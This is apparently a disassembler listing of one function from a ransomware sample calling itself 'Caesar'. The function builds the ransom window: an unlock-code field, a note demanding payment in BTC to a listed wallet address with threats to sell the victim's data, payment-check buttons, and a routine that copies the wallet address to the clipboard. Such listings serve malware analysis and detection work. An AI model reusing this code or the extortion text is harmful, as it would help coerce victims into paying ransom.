Function at 0x403aa4
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 0xc]
cmp eax, 0x10
je 0x403f48
cmp eax, 0x10
ja 0x403ace
cmp eax, 1
je 0x403ae9
cmp eax, 2
je 0x403f48
jmp 0x403f8b
cmp eax, 0x100
je 0x403f5b
cmp eax, 0x111
je 0x403db4
jmp 0x403f8b
mov dword [esp], 0xff
mov eax, dword [sym.imp.GDI32.dll_CreateSolidBrush]
call eax
sub esp, 4
mov dword [esp + 8], eax
mov dword [esp + 4], 0xfffffff6
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SetClassLongA]
call eax
sub esp, 0xc
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3e9
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x14
mov dword [esp + 0x18], 0x190
mov dword [esp + 0x14], 0x32
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50001080
mov dword [esp + 8], 0x48d490
mov dword [esp + 4], str.EDIT
mov dword [esp], 0x200
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [ebp - 0xc], eax
mov eax, str.Your_Unlock_Code_
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1501
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SendMessageA]
call eax
sub esp, 0x10
mov dword [esp], 0x11
mov eax, dword [sym.imp.GDI32.dll_GetStockObject]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x30
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SendMessageA]
call eax
sub esp, 0x10
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ea
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x14
mov dword [esp + 0x18], 0x46
mov dword [esp + 0x14], 0x32
mov dword [esp + 0x10], 0x1cc
mov dword [esp + 0xc], 0x50000001
mov dword [esp + 8], str.Unlock
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3eb
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x50
mov dword [esp + 0x18], 0x1f4
mov dword [esp + 0x14], 0x64
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50200100
mov dword [esp + 8], str.Send_100__As_BTC_:_bc1qxch3mz3t32pk23flq9tm04z45lxz2twmrkjeg9_All_Your_Files_Is_Encrypted_Now__If_You_Dony_Pay_Us_In_24_Hours_Well_Sell_Your_Data__Never_Tried_To_Decrypt_Your_Files_Its_Usless_You_File_Will_Gone_Forever_If_You_Doesnt_Pay_Us____Remember_We_Are_Not_Playing_Game_
mov dword [esp + 4], str.STATIC
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0xc], 1
mov dword [esp + 8], eax
mov dword [esp + 4], 0x30
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_SendMessageA]
call eax
sub esp, 0x10
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ec
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x1e
mov dword [esp + 0x18], 0x96
mov dword [esp + 0x14], 0xc8
mov dword [esp + 0x10], 0x32
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.Check_Payment
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x24], 0x3ee
mov eax, dword [ebp + 8]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0x1e
mov dword [esp + 0x18], 0x96
mov dword [esp + 0x14], 0xc8
mov dword [esp + 0x10], 0x186
mov dword [esp + 0xc], 0x50000000
mov dword [esp + 8], str.Copy_BTC_Address
mov dword [esp + 4], str.BUTTON
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
jmp 0x403fb2
mov eax, dword [ebp + 0x10]
movzx eax, ax
cmp eax, 0x3ec
je 0x403e18
cmp eax, 0x3ec
jg 0x403dd4
cmp eax, 0x3ea
je 0x403deb
jmp 0x403fb2
cmp eax, 0x3ed
je 0x403e45
cmp eax, 0x3ee
je 0x403e72
jmp 0x403fb2
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.Unlocking_
mov dword [esp + 4], str.Your_Unlock_Code_Is_Wrong_
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x403f46
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.You_Have_Not_Paid_It_Yet_
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x403f46
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.We_Are_Caesar._We_Operate_a_Ransomware_Operation_
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
jmp 0x403f46
mov dword [ebp - 0x18], str.bc1qxch3mz3t32pk23flq9tm04z45lxz2twmrkjeg9
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_OpenClipboard]
call eax
sub esp, 4
test eax, eax
setne al
test al, al
je 0x403f1d
mov eax, dword [sym.imp.USER32.dll_EmptyClipboard]
call eax
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 4], eax
mov dword [esp], 2
mov eax, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
call eax
sub esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x403f16
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalLock]
call eax
sub esp, 4
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call eax
sub esp, 4
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], eax
mov dword [esp], 1
mov eax, dword [sym.imp.USER32.dll_SetClipboardData]
call eax
sub esp, 8
mov eax, dword [sym.imp.USER32.dll_CloseClipboard]
call eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], str.Button_Clicked
mov dword [esp + 4], str.BTC_Address_Copied_to_Clipboard_
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_MessageBoxA]
call eax
sub esp, 0x10
nop
jmp 0x403fb2
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_PostQuitMessage]
call eax
sub esp, 4
jmp 0x403fb2
cmp dword [ebp + 0x10], 0xd
jne 0x403f89
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x3ea
mov dword [esp + 4], 0x111
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_PostMessageA]
call eax
sub esp, 0x10
jmp 0x403fb2
mov eax, dword [ebp + 0x14]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DefWindowProcA]
call eax
sub esp, 0x10
jmp 0x403fb7
mov eax, 0
leave
ret 0x10